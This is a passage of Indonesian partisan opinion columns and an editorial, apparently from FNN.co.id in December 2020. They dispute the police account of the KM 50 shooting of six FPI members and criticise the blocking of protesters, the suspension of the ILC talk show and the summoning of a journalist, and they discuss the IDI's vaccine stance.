mereka bukan cuma sedang mampir? Kalau pengunjung, enggak bakal lama di situ. Apa yang mereka lakukan selama tujuh jam itu? Teman saya melihat mereka ngopi. Ditanya, ada kegiatan apa? Dijawab yang baju hitam, "Lihat saja entar. Pokoknya spesial." Mereka ikut dalam pengepungan? Yang bawa laras panjang itu menjaga biar enggak ada yang berkerumun. Orang-orang yang mau mendekat diusir. Pas mau akhir penangkapan kayak razia gitu. Enggak boleh rekam video. Enggak boleh ada foto. Handphone dilihat sampai ke galerinya. Berapa orang yang memeriksa telepon? Saya lihat dua orang yang baju hitam itu. Semua pedagang diperiksa teleponnya? Tidak. Yang dekat lokasi saja. Sampai rombongan pergi, saya masih mendengar mereka memeriksa HP. Sekitar jam berapa rombongan polisi meninggalkan lokasi? Tidak tahu. (Majalah Tempo edisi 14 Desember 2020 menuliskan polisi beranjak dari Rest Area KM 50 sekitar pukul 01.30) Polisi pergi secara berombongan? Berurutan. Satu-satu. Sering menyaksikan polisi menangkap orang di Rest Area KM 50? Baru pertama kali. Polisi menyebutkan empat korban ditembak akibat melawan petugas di Kilometer 51+200. Anda mendengar letusan senjata sesaat setelah polisi berangkat? Enggak ada. Teman Anda mendengar? Tidak. Operasi Spesial "Lihat saja entar. Pokoknya spesial". Kutipan jawaban aparat berseragam hitam-hitam yang menunggu selama 7 jam di Rest Area Km 50 itu, menunjukkan bahwa operasi “penyergapan” pengawal HRS tersebut sudah direncanakan sebelumnya. Apalagi melibatkan aparat berseragam hitam-hitam (diduga dari satuan Brimob). Setidaknya mereka bertugas untuk mengamankan TKP dan “menjaga biar enggak ada yang berkerumun. Orang-orang yang mau mendekat diusir”. Seorang teman pedagang mendengar dua kali suara tembakan di Rest Area Km. “Dia bilang dua kali, habis mobil berhenti. Kawan saya melihat pas masuk, mobil itu sudah hancur,” ujar saksi kepada Tempo. Berarti, penembakan itu terjadi sesaat setelah mobil Chevrolet Spin berhenti di Rest Area Km 50. Boleh jadi, dua pengawal HRS itu tewas di dalam mobil. Diduga, ban mobil kiri depan itu ditembak jauh sebelum memasuki Rest Area Km 50. Adanya satuan berseragam hitam-hitam di Rest Area Km 50 sejak Minggu sore, 6 Desember 2020 dan pernyataan “pokoknya spesial” tersebut menunjukkan bahwa Rest Area Km 50 itu dipersiapkan untuk “operasi spesial” atas rombongan HRS. Dan, di Rest Area Km 50 itu pula, empat pengawal HRS lainnya diketahui masih hidup. Di mana mereka dieksekusi oleh “OTK” yang belakangan diketahui ternyata aparat Kepolisian? Versi Bareskrim Polri, di dalam mobil karena melawan. Sekitar pukul 03.00, enam jenazah anggota Front Pembela Islam tersebut tiba di Rumah Sakit Polri di Kramat Jati, Jakarta. Berdasar tulisan Tempo pula, rombongan petugas meninggalkan Rest Area Km 50 sekitar pukul 01.30. Namun, jika benar mereka ditembak di dalam mobil petugas, seharusnya saat Rekonstruksi, mobil ini dihadirkan. Dan, setidaknya bisa jadi barang bukti, kecuali dilakukan di tempat lain. Bercak darah selama 2,5 jam menuju RS pasti ada yang tercecer. “Anda mendengar letusan senjata sesaat setelah polisi berangkat? Enggak ada. Teman Anda mendengar? Tidak,” tulis Tempo. Berarti eksekusi terhadap empat pengawal HRS lainnya ini dilakukan “bukan di dalam” mobil. Apalagi ada bekas siksaan. Sangat tidak mungkin korban disiksa setelah ditembak tepat di area jantung. Yang mungkin adalah mereka disiksa dulu, setelah itu barulah ditembak. Penulis wartawan senior fnn.co.id

Menahan Orang Unjuk Rasa Jelas Pengecut dan Melanggar HAM

by Asyari Usman Medan FNN - Jumat (18/12). Lebih 100 orang yang berniat ikut aksi 1812 hari Jumat (18/12), ditahan petugas di Bakauheni ketika mereka hendak menyeberang menuju Jakarta. Berbagai sumber menyebutkan, setiap orang diinterogasi lama sekali. Satu jam lebih untuk satu orang. Dari tengah malam sampai pagi hanya bisa selesai 10 orang saja. Apakah layak diperlukan waktu satu jam untuk menanyai seorang penumpang bus yang mau pergi ke Jakarta? Sangat mengada-ada. Akhirnya rombongan itu balik arah. Mereka menyerah. Tak mungkin diteruskan. Bagaimana orang melihat penahanan rombongan itu? Apakah ada justifikasi untuk petugas? Pertama, penahanan itu merupakan pelanggaran hak asasi manusia (HAM). Pelanggaran hak dasar rakyat untuk menyampaikan pendapat di depan umum. Melanggar hukum tertinggi di negara, yaitu UUD 1945 pasal 28 E. Karena itu, tindakan petugas yang menahan bisa diadukan ke Komnas HAM. Kedua, penahanan orang yang ingin ikut demo menunjukkan bahwa pihak yang berkuasa tak percaya diri menghadapi aksi protes yang sifatnya legal dan damai. Para penguasa menunjukkan sensitivitas. Sehingga layak disebut bahwa mereka benar-benar terpojok oleh aksi 1812. Artinya, para penguasa punya masalah besar dengan pembunuhan 6 laskar FPI dan penahanan Habib Rizieq Syihab (HRS). Ketiga, penghadangan orang yang ingin ikut aksi 1812 merupakan bentuk kepengecutan para penguasa. Kalau penguasa yakin tidak ada masalah dengan pembunuhan 6 laskar FPI dan penahanan HRS, untuk apa peserta aksi dihalangi. Biarkan saja mereka masuk ke Jakarta. Kalau pandemi Covid-19 yang dijadikan alasan, bukankah kerumunan banyak terjadi di mana-mana termasuk kerumunan pilkada di Solo dan pilkada-pilkada lainnya? Pihak yang berkuasa memang diuntungkan oleh Covid untuk banyak hal. Mereka bisa kucurkan dana ratusan triliun untuk “membantu” dunia usaha yang terkena dampak wabah. Para penguasa pun bisa menilap dana itu untuk mengisi pundi-pundi mereka. Hari ini, para penguasa diuntungkan oleh Covid untuk menindas aksi unjuk rasa. Aksi yang bertujuan melawan kezaliman terhadap umat dan ulama. Tapi, cara-cara busuk pasti tidak akan bisa bertahan. Hidup ini akan terus berputar dan dipergilirkan. Itu hukum alam. Kekuasaan tidak akan menjadi milik satu orang saja. Tak lama lagi, kebenaran akan kembali berkibar dan menjadi rujukan.[] (Penulis wartawan senior FNN.co.id)

Mengapa Rakyat Unjuk Rasa Besar Lagi Hari Ini?

by Asyari Usman Medan FNN - Jumat (18/12). Polda Metro Jaya mengatakan pihaknya tidak akan mengizinkan aksi unjuk rasa di sekitar Istana, hari ini. Tapi, aturan tentang unjuk rasa menyebutkan bahwa para pengunjuk rasa tidak memerlukan izin dari Kepolisian. Yang berunjuk rasa cukup memberitahukan saja ke Polisi. Dan Polisi wajib menerbitkan tanda terima pemberitahuan secepat mungkin. Berunjuk rasa itu adalah hak asasi rakyat sebagaimana tertera di UUD 1945 Pasal 28 E. Kemudian, Pasal 19 Kovenan Internasional tentang Hak Sipil dan Politik yang diratifikasi lewat Undang-Undang No. 12 tahun 2005. Lalu ada Pasal 25 UU Nomor 39 tahun 1999 tentang Hak Asasi Manusia, maupun UU Nomor 9 tahun 1998 tentang Penyampaian Pendapat di Muka Umum. Dalam siaran pers tertanggal 19 Oktober 2020, Menko Polhukam Mahfud MD menegaskan bahwa unjuk rasa (demonstrasi) tidak memerlukan izin. Cukup pemberitahuan tempat dan taksiran jumlah massa. Kata Mahfud, petugas keamanan harus memperlakukan pengunjuk rasa dengan humanis. Jadi, cukup jelas hak untuk menyampaikan pendapat di depan unum. Untuk tidak memberikan izin, Kepolisian harus memiliki alasan yang diatur juga di dalam UU. Tidak bisa hanya dengan mengeluarkan pernyataan “tidak diizinkan”. Unjuk rasa hari ini diperkirakan akan diikuti massa dalam jumlah besar. Rakyat mau menuntut pembentukan tim pencari fakta independen (TPFI) untuk mengusut tuntas pembunuhan 6 laskar FPI pada 7 Desember 2020. Rakyat juga menuntut pembebasan tanpa syarat Habib Rizieq Syihab (HRS). Mengapa rakyat harus turun lagi? Simpel saja. Rakyat hanya ingin merespon kezaliman yang semakin menjadi-jadi. Dalam suasana seperti sekarang ini, pastilah publik merasa berat turun ke jalan. Tetapi, peristiwa pembunuhan 6 laskar dan penahanan HRS yang dirasakan sangat tidak adil itu membuat masyarakat tidak punya pilihan lain. Mereka merasa perlu menyatakan kegundahan. Negara ini kelihatan dikelola seperti milik pribadi. Bahkan, mengelola milik pribadi pun tidak bisa semena-mena. Tidak bisa main tembak dan kemudian keluarkan stetmen bahwa penembakan harus dilakukan karena mengancam keselamatan petugas. Indonesia selalu dikatakan negara hukum. Semua harus taat hukum. Semua penguasa mengatakan itu. Nah, sekarang hukumlah yang harus menjadi acuan untuk memastikan apakah pembunuhan 6 laskar FPI itu “lawful” (sesuai hukum) atau “unlawful” (melanggar hukum). Siapakah yang berhak menentukan “lawful” atau “unlawful”? Jawabannya: hanya pengadilan. Dalam hal ini pengadilan HAM. Mengapa pengadilan HAM? Karena ada indikasi kuat tentang adanya pelanggaran HAM berat terhadap keenam laskar yang dibunuh itu. Hak hidup mereka telah dihilangkan dalam situasi yang penuh kejanggalan. Itu pula sebabnya publik menuntut keras agar penyelidikan atas pembunuhan itu dilakukan oleh TPFI. Yang melibatkan banyak pihak dari berbagai latarbelakang. Hanya temuan dan kesimpulan TPFI-lah yang bisa dijadikan rujukan. Sebab, TPFI hampir mustahil akan membuat kesimpulan yang memihak ke siapa pun. Jadi, sangat sederhana. Begitu pemerintah membentuk TPFI, publik pasti akan tenang. Tidak akan ada lagi yang curiga. Sangat baik bagi pemerintah, baik untuk Kepolisian dan sangat pas untuk memulihkan kepercayaan masyarakat.[] (Penulis wartawan senior FNN.co.id)

ILC Pamit dan Edy FNN "Dikriminalisasi", Upaya Bungkam Pers?

by Mochamad TohaSurabaya FNN - Kamis (17/12). Mulai tahun depan, suara kritis yang muncul dalam tayangan Indonesia Lawyers Club (ILC) di TVOne bakal tidak ada lagi. Presiden ILC Karni Ilyas menyebut program itu akan cuti tayang pada tahun depan. Selasa malam, 15 Desember 2020, menjadi episode perpisahan. Karni tak menjelaskan alasan program ILC cuti tayang pada tahun depan. Ia hanya menyebut episode perpisahan ILC pada Selasa malam itu berjudul “Renungan Akhir Tahun: Dampak Tekanan Ekonomi, Ibu Bunuh Anak, Suami Bakar Isteri”. “Dear Pencinta ILC: Sekalian kami umumkan edisi ini adalah episode terakhir akhir tahun ini dan merupakan episode perpisahan,” tulis Karni melalui akun twitternya @karniilyas, Selasa, 15 Desember 2020. “Sebab mulai tahun depan berdasarkan keputusan manajemen TVOne, ILC dicutipanjangkan sementara waktu. Mohon maaf sebesar-besarnya kepada Pencinta ILC,” lanjut Karni melalui akun twitternya @karniilyas. Seperti dilansir Tempo.co, Selasa (15 Desember 2020 17:54 WIB), program ILC adalah acara talkshow di TVOne yang hadir setiap Selasa pukul 20.00 WIB dan dipandu oleh Karni Ilyas. Acara ini sudah tayang sejak 2008 silam dan beberapa kali mendapatkan penghargaan. Manajemen TVOne menyatakan, program ILC akan tetap tayang melalui platform digital. Pernyataan ini disampaikan karena tahun depan, program diskusi yang dipandu Karni Ilyas itu akan cuti panjang. “Maka telah disepakati bahwa program ILC ke depannya akan ditayangkan dalam platform digital,” seperti dikutip dari siaran pers manajemen TVOne, Selasa, 15 Desember 2020. Pihak TVOne menyatakan, ILC adalah sebuah brand dan program televisi yang hak cipta dan hak siarnya dimiliki pihak independen. Acara itu selama ini tampil di TVOne sebagai hasil kerja sama yang didasari oleh kesepakatan antara TVOne dan pemilik hak siar ILC. Pada 2020, kesepakatan kerja sama tersebut berakhir. Untuk mengembangkan tayangan ILC ke depan dan mengantisipasi era digital, maka diputuskan ILC akan tayang di platform digital. “Pihak tvOne dan pemegang hak siar ILC sama-sama memandang bahwa program ILC memiliki potensi untuk dapat berkembang lebih pesat lagi di platform digital,” lanjutnya. Keputusan tersebut didasarkan pada beberapa indikator seperti jumlah subscribers di kanal ILC pada suatu platform berbagi video yang mencapai lebih dari 4 juta orang dan jumlah rata-rata ditonton oleh lebih dari 50 juta kali. Menurut pihak TVOne, platform tersebut telah menjadi salah satu media utama masyarakat mendapatkan informasi. Ke depannya, fenomena itu diprediksi bakal lebih dominan. “TVOne berharap tayangan ILC di platform digital nanti akan terus berkembang dan menjadi tayangan yang selalu dinanti oleh masyarakat.” Benarkah “cuti tayang” ILC di TVOne tersebut semata-mata hanya karena kesepakatan kerja sama itu berakhir pada 2020? Mengingat selama ini sudah beberapa kali acara ILC terkadang tiba-tiba batal tayang tanpa alasan yang jelas! Atau, jangan-jangan inilah modus baru untuk “membungkam” suara kritis atas pemerintahan Presiden Joko Widodo yang terindikasi “anti kritik”? Jika sudah demikian, biasanya mereka dibayang-bayangi dengan ancaman UU ITE. Channel BangEdy Setelah sempat tertunda dua kali, akhirnya wartawan senior Edy Mulyadi, penuhi panggilan Bareskrim Polri, Kamis (17/12/2020). Edy dipanggil sebagai saksi untuk dimintai keterangan terkait peristiwa penembakan 6 pengawal Habib Rizieq Shihab di Jl. Tol Jakarta-Cikampek. Menurut Direktur Tindak Pidana Umum Bareskrim Polri, Brigjen Polisi Andi Rian Djajadi, saat dikonfirmasi, Senin (14/12/2020), dalam pemanggilan ini, tim penyidik akan menggali informasi terkait peristiwa di tol berdasarkan informasi yang diperoleh Edy. Andi mengatakan ada saksi yang menyebut nama Edy. “Sekadar untuk menggali pengetahuan yang bersangkutan tentang peristiwa. Karena ada saksi lain yang menyebutkan namanya,” ujarnya, seperti dilansir Detik.com, Senin (14 Des 2020 19:59 WIB). Wartawan senior Forum News Network (FNN.co.id) itu sebelumnya membuat video laporan di Jalan Tol Japek Km 50 terkait penembakan pengawal HRS yang diunggah melalui akun YouTube-nya, @Bang Edy Channel. Dalam video berdurasi 6,24 detik yang sempat saya lihat juga, Edy sudah mewawancarai beberapa pedagang di rest area Km 50. “Saya tadi sempat ngobrol-ngobrol dengan beberapa pemilik warung di sekitar sini, mereka mengatakan bahwa peristiwanya sekitar jam 01.30 WIB. Tapi, menurut salah seorang (pedagang) warung, mengatakan bahwa mobil yang masuk ke sini kondisi bannya sudah tidak utuh.” “Jadi, begitu masuk dari ujung sana (masuk rest area), bannya sudah tidak ada, tinggal velg-nya saja,” ungkap Edy. “Kresek-kresek, sudah berisik gitu. Kemudian saksi mata mengatakan mobil itu (pengikut Habib Rizieq) dipepet dua mobil polisi, tidak lama terdengar dua tembakan, dor… dor…,” lanjutnya. Edy mengatakan pedagang warung di sana mendengar 2 kali suara tembakan saat peristiwa terjadi. Dalam video itu, Edy menjelaskan para pedagang yang berada di lokasi diusir oleh polisi dan diminta menjauh. “Saya tanya sama tukang warung sekitar sini ada dua kali tembakan, saudara. Setelah itu, beberapa warga maksudnya yang dagang di sini itu keluar tapi polisi sudah banyak mereka diusir, 'sana pergi, teroris, teroris',” ucapnya. Edy menilai, polisi sejak awal sudah membentuk stigma bahwa peristiwa yang terjadi antara polisi dan pengawal HRS sebagai penembakan teroris. Edy menyebut lokasi tidak jauh dari musala di rest area Km 50. “Jadi saudara, sejak awal polisi sudah menebarkan apa yang disebut namanya stigma orang-orang yang mau mendekat ke arah lokasi terjadinya penembakan disebut teroris. Nah ini di sini deket-deket musala sini, teroris,” ungkapnya. “Tapi saya tanya, katanya di sini ada tukang parkir di lokasi itu memang mereka diusir kira-kira jarak 1 meter sebelum lokasi, tidak boleh. Tidak ada police line,” ujarnya. Edy menyebut rest area Km 50 menjadi tempat favorit polisi untuk melakukan penyergapan kasus-kasus narkoba dan teroris. Ia juga mengatakan pedagang di sana sudah terbiasa dengan proses penyergapan narkoba dan teroris yang dilakukan polisi. “Ternyata lokasi Km 50 ini, tanda kutip, menjadi tempat favorit bagi polisi untuk menyergap biasanya bandar narkoba atau teroris, sehingga ketika ada peristiwa tembakan 2 kali, pemilik warung mengatakan, ya kita pikir kalau nggak narkoba ya teroris, karena sudah menjadi biasa juga,” imbuhnya. Secara yuridis, menurut Pasal 1 butir 26 KUHAP: “Saksi adalah orang yang dapat memberikan keterangan guna kepentingan penyidikan, penuntutan, dan peradilan tentang suatu perkara pidana yang ia dengar sendiri, ia lihat sendiri dan ia alami sendiri”. Jadi, kalau mengacu KUHAP, Edy bukanlah saksi. Sebab, dia tidak berada di TKP pada saat kejadian. Dia tidak mendengar sendiri, melihat sendiri dan mengalami sendiri kejadian di Km 50. Sebagai jurnalis, Edy dilindungi UU Nomor 40 Tahun 1999 tentang Pers. Bahan pemanggilan Edy sebagai saksi adalah produk jurnalistik. Jadi, jika memang Edy hendak diperkarakan terkait hasil investigasinya pada kejadian di Km 50, tempatnya di Dewan Pers. Bukan di Bareskrim! Persepsi umum yang terjadi adalah ketika seseorang dijadikan saksi, maka dia berpotensi besar ditingkatkan statusnya sebagai tersangka. Jika hal ini benar-benar terjadi nantinya, maka dapat dikatakan ada upaya “mengkriminalisasi” Edy dan sekaligus menjadi upaya untuk “mengekang” suara jurnalis. Hal ini jelas-jelas bertentangan utamanya dengan Pasal 28 UUD 1945, baik sebelum maupun sesudah diamandemen. Jadi, pada intinya, pemanggilan Edy sebagai saksi atas kasus Km 50 dan pamitnya ILC dapat disimpulkan sebagai upaya seseorang/kelompok/golongan untuk mengekang kebebasan pers. Juga memberangus penerapan Pasal 28 UUD 1945. Seperti diketahui dalam versi polisi, “kontak senjata” terjadi antara polisi dan pengawal HRS di Jalan Tol Jakarta-Cikampek. Akibatnya, enam pengikut HRS tewas. Kontak tembak itu terjadi pada Senin (7/12/2020) sekitar pukul 00.30 WIB. Menurut Kapolda Metro Jaya Irjen Polisi Fadil Imran, keenam pengikut HRS itu ditembak karena melakukan perlawanan. “Sekitar pukul 00.30 WIB di jalan Tol Jakarta-Cikampek Km 50 telah terjadi penyerangan pada anggota Polri yang sedang melakukan tugas penyelidikan terkait rencana pemeriksaan MRS yang dijadwalkan berlangsung hari ini jam 10.00 WIB,” jelas Fadil. Insting sebagai wartawan, Edy turun ke lapangan, terutama di Km 50 untuk mengecek peristiwa sebenarnya. Edy pun sukses ungkap peristiwa itu!

Gerakan 07 Desember/PRI, dan Kekejaman yang Ditutuptutupi

PAGI brutal itu terjadi pada Senin, 07 Desember 2020, pukul 00.30 WIB di seputar KM 50-57 jalan Tol Jakarta-Cikampek, Polisi Republik Indonesia (PRI) telah melakukan pengkhianatan terhadap anak bangsa Indonesia. Enam laskar Front Pembela Islam telah dibunuh secara keji. Pembunuhan ini diakui sendiri oleh polisi, sebagaimana disampaikan oleh Kapolda Metro, Jaya Fadil Imron, Senin siang pukul 14.00 WIB di Mapolda Metro Jaya. Konferensi pers dilakukan dengan gagah, seakan-akan polisi berhasil menumpas teroris. Padahal yang ditumpas hanyalah anak-anak muda yang sedang mengawal Habib Rizieq Shihab yang akan mengisi pengajian subuh di sebuah tempat di Karawang. PRI bisa kita disebut sebagai dalang Gerakan 08 Desember dengan korban rakyat sipil yang belum tentu punya salah. Inilah pengkhianatan yang nyata. Polisi yang slogannya pengayom masyarakat, prakteknya telah melalukan pembunuhan terhadap warganya sendiri. Dengan kejam. Perdebatan soal adanya tembak menembak atau pembunuhan satu arah, kini sedang ditelisik oleh Komnas HAM. Biarkan mereka mengusutnya, jangan ada campur tangan dari penguasa. Mudah-mudahan hasil investigasi Komnas HAM mampu menguak siapa dalang sebenarnya dari peristiwa kelam itu. Yang harus kita catat adalah PRI mengakui telah menembak 6 laskar FPI tersebut dan kelak akan menjadi bagian sejarah hitam masyarakat Indonesia. Jadi, menyoal siapa pelakunya sudah tidak perlu dibahas, karena sudah jelas ada pengakuan. Saat ini polisi bisa saja berkilah, tetapi FPI punya data akurat. Biarkan diadu siapa yang berbohong. Jangan sampai ada intervensi dari kekuatan dan kekuasaan negara sehingga akhirnya peristiwanya menjadi kabur bahkan gelap. Polisi sebagai pelindung rakyat tidak sepantasnya melakukan kebiadaban itu. Siapapun yang membaca berita dan melihat video di media massa maupun media sosial, berkesimpulan polisi terlalu arogan dan jumawa. Narasi yang dikemukakan polisi seakan memberikan kesan, lembaga ini super power yang tidak bisa disentuh. Perkataannya wajib diamini. Tak hanya itu, polisi telah menunjukkan sisi otoritarianisme dalam menghadapi masyarakat yang kritis. Sampai saat ini belum ada pejabat pemerintah maupun lembaga negara yang mengucapkan belasungkawa atas meninggalnya enam laskar FPI. Tampak sekali tidak ada sedikit pun rasa penyesalan. Padahal polisi mengakuinya telah membunuh mereka. Yang terjadi justru, polisi saat ini sibuk membangun opini publik bahwa apa yang dilakukan polisi sebuah kebenaran. Di samping membangun opini, ada pula upaya upaya untuk menghentikan kasus ini agar tidak terdeteksi siapa otak intelektualnya. Penetapan Habib Rizieq Shihab sebagai tersangka atas kerumunan umat adalah upaya nyata untuk menutupi kasus pembunuhan yang telah viral secara internasional itu. Apalagi dilanjutkan dengan penahanan sang imam, jelas menunjukkan ini upaya menutupi kasus yang satu dengan kasus yang lain. Polisi tidak bekerja sendirian. Para politisi propemerintah pun sibuk membangun opini yang sama. Mereka menuduh anggota dewan atau siapapun yang kritis terhadap kasus pembunuhan ini, dicap sebagai menumpang popularitas, memanfaatkan situasi untuk kepentingan pribadi dan kelompok. Si penuduh tidak sadar bahwa ini masalah kekejaman terhadap kemanusiaan, tidak elok memelintir kasus yang telah melukai dan menyakiti hati masyarakat luas. Polisi jangan sibuk mengkounter pernyataan-pernyataan kritis masyarakat. Hadirkan saja para algojo yang telah membunuh 6 laskar FPI. Hadirkan pula mobil yang ditumpangi para laskar yang ditembak mati. Jangan diumpetin, jangan pula bikin skenario yang berubah-ubah. Membunuh orang tanpa perintah pengadilan oleh polisi adalah kejahatan negara terhadap rakyatnya. Jangan-jangan kesimpangsiuran ini sengaja dipelihara agar tetap gaduh dan absurd. Yang mereka cari sesungguhnya bukan dalang pembunuhan, melainkan mereka sedang mencari pengaruh untuk menduduki jabatan Kapolri, Kasad, Kepala BIN, dan Panglima TNI. Gerakan 08 Desember/PRI ini sungguh kejam melebihi kekejaman PKI. (Editorial)

Kok Pak Hendro Tahu Jutaan Orang Unjuk Rasa Besok?

by Asyari Usman Medan FNN - Kamis (17/12). Tidak mengherankan tetapi penuh tanda tanya. Dari mana mantan Kepala BIN Hendropriyono tahu bahwa besok, Jumat (18/12/2020), kemungkinan ribuan bahkan jutaan orang akan ikut unjuk rasa di dekat Istana? Unjuk rasa ini bertujuan menuntut pembebasan Habib Rizieq Syihab (HRS) dan pembentukan Tim Pencari Fakta (TPF) pembunuhan 6 anggota FPI. Tentunya apa yang dikatakan Pak Hendro bukan tidak mungkin menjadi kenyataan. Sebab, beliau pastilah masih selalu “update” dengan berbagai informasi keintelijenan. Tak mungkinlah orang sepenting Pak Hendro tidak memiliki informasi yang akurat. Cuma, mantan pimpinan dinas rahasia itu menganjurkan agar masyarakat tidak mengikuti ajakan untuk ikut aksi. Karena, menurut Pak Hendro, aksi unjuk rasa besok itu akan dimanfaatkan oleh para politisi untuk kepentingan pribadi mereka. Tampaknya, di sini Pak Hendro keliru. Masa semua yang dilakukan oleh politisi semata untuk tujuan pribadi? Selain imbauan Pak Hendro agar masyarakat tidak ikut demo besok, ada berbagai elemen lain yang berusaha mengendorkan dukungan publik. Tak usahlah berpanjang-panjang menyebutkan siapa mereka. Jauh lebih penting adalah menganalisis pernyataan mantan bos intelijen itu. Misalnya, boleh jadi Pak Hendro sudah memperoleh info bahwa masyarakat dari seluruh pelosok Indonesia juga akan ikut datang ke Jakarta. Atau, setidaknya warga di Jawa Barat, Banten dan Jakarta Raya sendiri akan menunjukkan solidaritas mereka dalam jumlah besar. Untuk menyampaikan pesan keras dan tegas bahwa penahanan Habib dan pembunuhan 6 laskar FPI adalah tindakan sewenang-wenang. Bisa jadi juga sinyalemen Pak Hendro tentang jutaan orang akan hadir di aksi besok itu mengisyaratkan dukungan untuk HRS tidak pernah surut seperti diperkirakan banyak orang. Artinya, Hendro kelihatan menangkap pesan bahwa penahanan Habib dan pembunuhan 6 laskar FPI akan semakin memperkuat persepsi publik tentang kesewenangan para penguasa. Kekhawatiran Pak Hendro bahwa jutaan orang akan ikut berdemo besok kelihatannya cukup beralasan. Sebagai contoh, berbagai aksi protes berlangsung di seantero negeri dalam sepekan ini. Kemarin, di Medan, ratusan spanduk bela Habib dijejer sepanjang dua kilometer. Sebelum ini, berbagai markas Polres dan Polsek didtangi masyarakat. Mereka menuntu pembebasan HRS dan pengusutan secara transparan pembunuhan 6 anggota FPI. Maknanya, semangat perlawanan dari publik terhadap kezaliman para penguasa tidak pernah melemah. Sebaliknya semakin kuat. Jadi, tampaknya tidak benar prediksi bahwa masyarakat akan berdiam diri di rumah sebagaimana disarankan Pak Hendro. Dan masyarakat juga pastilah mengerti banwa mereka wajib mengikuti protokol kesehatan dengan ketat.[] (Penulis wartawan senior FNN.co.id)

IDI "Tolak" Vaksin atau IDI Tolak Sinovac?

by Mochamad Toha Surabaya FNN - Selasa (15/12). Flash News yang ditulis Kompas.id pada Sabtu, 12 Desember 2020, “IDI Menolak Menjadi yang Pertama Disuntik Vaksin, Beranikah Para Menteri Menggantikannya?”, ini sudah tak bisa ditemukan lagi, dan dijawab: “Kami tidak menemukan halaman yang Anda tuju”. Hanya jejak digital tanpa isi berita saja: https://www.kompas.id/baca/video/2020/12/12/idi-menolak-menjadi-yang-pertama-disuntik-vaksin-beranikah-para-menteri-menggantikannya/. Mengapa Kompas menghapus link flash news tersebut? Yang jelas, sehari setelah penayangan tulisan singkat itu, link tersebut sudah tak bisa dilihat lagi. Munculnya berita “IDI Tolak Disuntik Vaksin Covid-19 Duluan” itu praktis membuat Prof. Zubairi Djoerban memberikan klarifikasi. Ketua Satuan Tugas Penanganan Covid-19 Pengurus Besar IDI (Satgas Covid-19 PB IDI) itu pun buka suara. Berita-berita penolakan vaksin dari pihak IDI itu memang dikaitkan dengan pernyataan Profesor Zubairi beberapa waktu lalu. Oleh karena itu, lewat akun Twitter @ProfesorZubairi, ia mengklarifikasi semua pemberitaan terkait masalah vaksin. “Belakangan ini, ada pihak yang anggap saya atau IDI menolak vaksin,” seperti dikutip Pikiran-Rakyat.com dari cuitan @ProfesorZubairi pada Sabtu, 12 Desember 2020. “Itu anggapan yang tidak benar,” tegasnya. Menurut Profesor Zubairi, isu-isu yang tersebar di masyarakat hanyalah salah tafsir semata. “Jangan salah tafsir atas ucapan saya yang sepertinya diambil sepotong-sepotong,” ujarnya. Ia menegaskan, kalau IDI bukan tidak mendukung imunisasi menggunakan vaksin Codivd-19 Sinovac asal Tiongkok (China) tersebut. “Yang jelas, organisasi IDI mendukung vaksinasi,” kata Profesor Zubairi. “Tentu setelah izin edar darurat (EUA) BPOM keluar,” tulisnya. Klarifikasi Profesor Zubairi langsung viral dan cukup ramai direspon netizen. Kicauan itu dikomentari 34 kali, dicuit ulang 261 kali, dan disukai 1.200 pengguna Twitter per Minggu 13 Desember 2020 pukul 09.20 WIB. “Belakangan ini ada pihak yang anggap saya atau IDI menolak vaksin. Itu anggapan yang tidak benar. Jangan salah tafsir atas ucapan saya yang sepertinya diambil sepotong-sepotong. Yang jelas, organisasi IDI mendukung vaksinasi,” tulisnya. “Tentu setelah izin edar darurat (EUA) BPOM keluar,” ujar @ProfesorZubairi) (December 12, 2020). Sebagai asosiasi bagi dokter seluruh Indonesia, IDI memang menjadi sorotan utama selama pandemi Covid-19. IDI menyayangkan banyaknya tenaga medis yang menjadi korban pandemi Covid-19 ini. Dikutip Pikiran-Rakyat.com dari Antara, sebanyak 342 tenaga medis yang terdiri dari 192 dokter, 14 dokter gigi dan 136 perawat meninggal dalam tugas akibat terinfeksi Covid-19. Tenaga medis menjadi prioritas penyuntikan vaksin sebagai garda depan penanganan Covid-19, namun IDI meminta imunisasi dilakukan setelah keluar izin darurat dari BPOM. Ketua PB IDI Daeng M. Faqih menyatakan, dokter-dokter anggota organisasi kedokteran ini siap menjadi target pertama vaksinasi Covid-19, apabila Presiden Joko Widodo pun mau menjadi pionir disuntik vaksin. “Kalau Bapak Presiden menyampaikan sudah bersiap menjadi bagian yang pertama disuntik, IDI juga bersedia menjadi salah satu yang siap pertama dilakukan penyuntikan,” kata Daeng dalam keterangan pers via daring di Jakarta, Senin (14/12) seperti dikutip Antara. Ia pun menegaskan IDI mendukung program vaksinasi yang akan dilaksanakan pemerintah untuk mengendalikan penularan Covid-19. Dokter-dokter anggota IDI, lanjut Daeing, siap menjadi penerima pertama suntikan vaksin Covid-19 yang penggunaannya sudah mendapat izin dari BPOM. Daeng pun mengklarifikasi berita yang menyebutkan bahwa organisasinya menolak vaksinasi Covid-19, karena pemberitaan itu dinilainya bisa memengaruhi kepercayaan publik terhadap program vaksinasi pemerintah. “Pemberitaan seperti itu akan berdampak pada program vaksinasi, karena masyarakat percaya betul pada dokter dan IDI. Kalau IDI saja menolak, apalagi masyarakat,” kata Daeng. Selain itu, dia pun mengemukakan bahwa masyarakat tak perlu ragu menjalani vaksinasi jika vaksin Covid-19 sudah tersedia dan BPOM mengizinkan penggunaannya setelah memeriksa kemanjuran dan keamanan vaksin. IDI menyatakan, vaksinasi merupakan upaya kedua setelah penerapan protokol kesehatan untuk menekan penularan Covid-19 di Indonesia. “Program vaksinasi ini harapan besar bagi kita semua, tidak hanya untuk petugas kesehatan saja, tapi untuk seluruh rakyat. Vaksin ini alat terbesar kita untuk menurunkan serendah-rendahnya bahkan menghentikan penularan Covid-19,” kata Daeng. Menurutnya upaya intervensi untuk menekan kasus penularan Covid-19 di Indonesia dengan cara penerapan protokol kesehatan dinilai belum efektif, karena kasus konfirmasi positif harian yang terus meningkat dari hari ke hari. Pertambahan kasus positif yang terus meningkat sejak awal Maret lalu di Indonesia tak lepas dari perilaku masyarakat Indonesia belum benar-benar menerapkan prokes dengan disiplin dan ketat. Sebelumnya, Ketua Satgas Covid-19 PB IDI Zubairi Djoerban menyatakan para dokter siap jadi target vaksinasi Covid-19 jika sudah terbukti aman dan efektif. “Tujuan pemerintah kan untuk melindungi dokter dan perawat yang ada di garis terdepan, yang berisiko tinggi. Tujuannya sih baik. Kami mau mendapatkan vaksin yang aman dan efektif. Kalau belum, silakan saja duluan,” kata Profesor Zubairi, Sabtu (12/12/2020). Zubairi menjelaskan vaksin yang terbukti aman adalah vaksin yang sudah 